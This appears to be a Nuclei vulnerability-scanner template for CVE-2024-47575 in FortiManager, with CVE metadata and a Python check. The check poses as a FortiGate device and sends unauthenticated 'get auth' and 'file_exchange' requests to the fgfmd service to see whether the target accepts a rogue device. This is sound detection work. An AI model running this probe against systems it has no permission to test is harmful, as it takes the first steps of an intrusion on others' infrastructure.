FortiManager Unauthenticated Remote Code Execution

id: CVE-2024-47575

info:
  name: FortiManager Unauthenticated Remote Code Execution
  author: 0x_Akoko,pussycat0x,watchTowr
  severity: critical
  description: |
    A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
  impact: |
    Unauthenticated attackers can execute arbitrary code or commands through specially crafted requests to the fgfmd daemon, achieving complete FortiManager server compromise.
  remediation: |
    Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47575
    - https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
    - https://fortiguard.fortinet.com/psirt/FG-IR-24-423
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-47575
    cwe-id: CWE-306
    epss-score: 0.94766
    epss-percentile: 0.99858
    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev,vuln

variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"
  keysDir: "helpers/payloads/cve-2024-47575-keys"

code:
  - engine:
      - py
      - python3
    source: |
      import socket
      import struct
      import ssl
      import logging
      import os
      import sys

      logging.basicConfig(level=logging.INFO, format='%(message)s')

      FW_VERSION = None

      def create_ssl_context():
          keys_dir = os.getenv("keysDir", "helpers/payloads/cve-2024-47575-keys")
          cert_path = os.path.join(keys_dir, "w00t_cert.bin")
          key_path = os.path.join(keys_dir, "w00t_key.bin")

          try:
              if os.path.isfile(cert_path) and os.path.isfile(key_path):
                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
                  context.load_cert_chain(certfile=cert_path, keyfile=key_path)
                  context.check_hostname = False
                  context.verify_mode = ssl.CERT_NONE
                  logging.debug(f"Loaded certificate from {cert_path}")
                  logging.debug(f"Loaded key from {key_path}")
                  return context
              else:
                  logging.debug(f"Certificate or key not found: {cert_path}, {key_path}")
                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
                  context.check_hostname = False
                  context.verify_mode = ssl.CERT_NONE
                  return context
          except Exception as e:
              logging.debug(f"Failed to load certificates: {e}")
              context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
              context.check_hostname = False
              context.verify_mode = ssl.CERT_NONE
              return context

      def send_message(sock, request):
          message = struct.pack(">II", 0x36e01100, len(request) + 8) + request
          sock.send(message)
          hdr = sock.read(8)
          if len(hdr) != 8:
              return None
          magic, size = struct.unpack(">II", hdr)
          return sock.read(size - 8)

      def check_vulnerability(target_ip, target_port, timeout=10):
          global FW_VERSION

          auth_request = b"get auth\r\nserialno=FGVMEVWG8YMT3R63\r\nmgmtid=00000000-0000-0000-0000-000000000000\r\nplatform=FortiGate-60E\r\nfos_ver=700\r\nminor=2\r\npatch=4\r\nbuild=1396\r\nbranch=1396\r\nmaxvdom=2\r\nfg_ip=192.168.1.53\r\nhostname=FortiGate\r\nharddisk=yes\r\nbiover=04000002\r\nharddisk_size=30720\r\nlogdisk_size=30107\r\nmgmt_mode=normal\r\nenc_flags=0\r\nmgmtip=192.168.1.53\r\nmgmtport=443\r\n\x00"

          file_exchange_request = b"get file_exchange\r\nlocalid=123\r\nchan_window_sz=32768\r\ndeflate=gzip\r\nfile_exch_cmd=put_json_cmd\r\n\r\n\x00"

          context = create_ssl_context()
          sock = socket.create_connection((target_ip, target_port), timeout=timeout)
          ssl_sock = context.wrap_socket(sock)

          response = send_message(ssl_sock, auth_request)
          if not response:
              ssl_sock.close()
              return False, None

          response = send_message(ssl_sock, file_exchange_request)
          if not response:
              ssl_sock.close()
              return False, None

          try:
              response_str = response.decode('utf-8', errors='ignore')
              for line in response_str.split('\r\n'):
                  if 'remoteid=' in line:
                      remote_id = line.split('=')[1].strip()
                      if remote_id:
                          ssl_sock.close()
                          return True, FW_VERSION
          except Exception:
              pass

          ssl_sock.close()
          return False, FW_VERSION

      def main():
          host = os.getenv("HOST")
          port = os.getenv("PORT")

          target_port = int(port) if port else 541

          is_vulnerable, fw_version = check_vulnerability(host, target_port)

          if is_vulnerable:
              if fw_version:
                  print(f"Vulnerable Version {fw_version}")
              else:
                  print("Vulnerable")
          else:
              if fw_version:
                  print(f"NOT VULN Version {fw_version}")
              else:
                  print("NOT VULN")

      if __name__ == "__main__":
          main()

    matchers:
      - type: word
        words:
          - "Vulnerable"

    extractors:
      - type: dsl
        dsl:
          - response